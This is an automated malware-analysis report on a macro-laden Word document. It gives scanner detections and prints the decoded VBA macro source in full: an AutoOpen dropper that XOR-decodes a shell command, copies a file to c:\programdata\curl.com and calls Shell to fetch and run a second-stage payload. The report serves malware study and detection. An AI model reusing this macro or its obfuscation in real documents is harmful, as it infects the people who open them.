Malware Insights
The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a shell command, which is obfuscated using XOR with a key of 32. The reconstructed command string is '67?77?68?0?15?75?0?2?83?69?84?0?85?29?85?126?82?76?126?67?65?67?126?72?69?6?6?83?69?84?0?82?17?29?82?126?69?6?6?83?69?84?0?83?17?29?71?126?83?126?86?6?6?83?69?84?0?86?17?29?82?126?19?126?18?6?6?67?65?76?76?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?67?85?82?76?14?67?79?77?0?15?5?85?5?0?15?70?126?0?72?84?84?80?26?15?15?76?69?77?17?86?88?14?67?79?77?15?66?85?77?85?15?90?69?78?69?83?14?80?72?80?31?76?29?67?73?84?89?22?14?67?65?66?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?0?6?6?0?67?65?76?76?0?5?82?17?5?5?83?17?5?5?86?17?5?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?2', which when decoded reveals a command to copy a file from an embedded shape and save it as 'c:\programdata\curl.com'. This indicates the document is designed to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack2\us.jpg
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1411 bytes |
SHA-256: 9abcaa565cce265276c8e55b17c6dc20cb8a30ad5aa75d3ac52070a22df0726e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "t0"
Function w(RT)
w = Split(RT, "?")
End Function
Sub autoopen()
LQ = um("67?77?68?0?15?75?0?2?83?69?84?0?85?29?85?126?82?76?126?67?65?67?126?72?69?6?6?83?69?84?0?82?17?29?82?126?69?6?6?83?69?84?0?83?17?29?71?126?83?126?86?6?6?83?69?84?0?86?17?29?82?126?19?126?18?6?6?67?65?76?76?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?67?85?82?76?14?67?79?77?0?15?5?85?5?0?15?70?126?0?72?84?84?80?26?15?15?76?69?77?17?86?88?14?67?79?77?15?66?85?77?85?15?90?69?78?69?83?14?80?72?80?31?76?29?67?73?84?89?22?14?67?65?66?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?0?6?6?0?67?65?76?76?0?5?82?17?5?5?83?17?5?5?86?17?5?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?2")
rI
Shell LQ
End Sub
Attribute VB_Name = "cI"
Sub rI()
Call FileCopy(I, dP)
End Sub
Function um(p0)
B8 = w(p0)
F1 = UBound(B8)
N5 = 0
Q0 = 8
Zu = ""
For cz = N5 To F1
Zu = Zu & Chr(B8(cz) Xor 32)
Next cz
um = Zu
End Function
Function dP()
dP = "c:\programdata\curl.com"
End Function
Function I()
I = Replace(ActiveDocument.Shapes(1).Title, "1", "")
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 15872 bytes |
SHA-256: bd200cd96e076465fe5f5545924c80f8cc4d8084841c5a591d17194b8aafa213 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.